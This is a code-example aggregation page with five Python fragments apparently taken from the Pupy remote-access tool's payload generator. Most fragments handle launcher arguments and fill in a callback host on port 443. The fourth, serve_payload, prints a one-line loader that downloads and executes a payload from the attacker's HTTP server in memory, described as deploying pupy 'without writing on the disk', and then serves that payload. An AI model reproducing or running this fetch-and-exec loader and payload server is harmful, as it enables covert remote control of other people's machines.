Beispiel #1
0
    args=parser.parse_args()



    script_code=""
    if args.scriptlet:
        script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets)
    

    l=launchers[args.launcher]()
    while True:
        try:
            l.parse_args(args.launcher_args)
        except LauncherError as e:
            if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args:
                myip=get_local_ip(args.interface)
                if not myip:
                    sys.exit("[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually")
                print(colorize("[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"%myip,"grey"))
                args.launcher_args.insert(0,"%s:443"%myip)
                args.launcher_args.insert(0,"--host")
            else:
                l.arg_parser.print_usage()
                exit(str(e))
        else:
            break
    if args.randomize_hash:
        script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40))
    conf={}
    conf['launcher']=args.launcher
    conf['launcher_args']=args.launcher_args
Beispiel #2
0
	args=parser.parse_args()



	script_code=""
	if args.scriptlet:
		script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets)
	

	l=launchers[args.launcher]()
	while True:
		try:
			l.parse_args(args.launcher_args)
		except LauncherError as e:
			if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args:
				myip=get_local_ip()
				if not myip:
					sys.exit("[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually")
				print(colorize("[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"%myip,"grey"))
				args.launcher_args.insert(0,"%s:443"%myip)
				args.launcher_args.insert(0,"--host")
			else:
				l.arg_parser.print_usage()
				exit(str(e))
		else:
			break
	if args.randomize_hash:
		script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40))
	conf={}
	conf['launcher']=args.launcher
	conf['launcher_args']=args.launcher_args
Beispiel #3
0
        os.chdir(args.workdir)

    script_code = ""
    if args.scriptlet:
        script_code = parse_scriptlets(args.scriptlet,
                                       debug=args.debug_scriptlets)

    l = launchers[args.launcher]()
    while True:
        try:
            l.parse_args(args.launcher_args)
        except LauncherError as e:
            if str(e).strip().endswith(
                    "--host is required"
            ) and not "--host" in args.launcher_args:
                myip = get_local_ip(args.interface)
                if not myip:
                    sys.exit(
                        "[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually"
                    )
                print(
                    colorize(
                        "[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"
                        % myip, "grey"))
                args.launcher_args.insert(0, "%s:443" % myip)
                args.launcher_args.insert(0, "--host")
            else:
                l.arg_parser.print_usage()
                exit(str(e))
        else:
            break
Beispiel #4
0
def serve_payload(payload, ip="0.0.0.0", port=8080):
    print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :"
    print " --- "
    oneliner=colorize("python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'"%(get_local_ip(), port), "green")
    print oneliner
    print " --- "
    class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-type','text/html')
            self.end_headers()
            # Send the html message
            self.wfile.write(payload)
            return
    try:
        server = HTTPServer((ip, port), PupyPayloadHTTPHandler)
        print colorize("[+] ","green")+'Started httpserver on port ' , port
        print colorize("[+] ","green")+'waiting for a connection ...'
        server.serve_forever()
    except KeyboardInterrupt:
        print 'KeyboardInterrupt received, shutting down the web server'
        server.socket.close()
        exit()
Beispiel #5
0
        "Choose a launcher. Launchers make payloads behave differently at startup."
    )
    parser.add_argument('launcher_args',
                        nargs=argparse.REMAINDER,
                        help="launcher options")

    args = parser.parse_args()
    l = launchers[args.launcher]()
    while True:
        try:
            l.parse_args(args.launcher_args)
        except LauncherError as e:
            if str(e).strip().endswith(
                    "--host is required"
            ) and not "--host" in args.launcher_args:
                myip = get_local_ip()
                if not myip:
                    sys.exit(
                        "[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually"
                    )
                print(
                    "[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"
                    % myip)
                args.launcher_args.insert(0, "%s:443" % myip)
                args.launcher_args.insert(0, "--host")
            else:
                l.arg_parser.print_usage()
                exit(str(e))
        else:
            break
    script_code = ""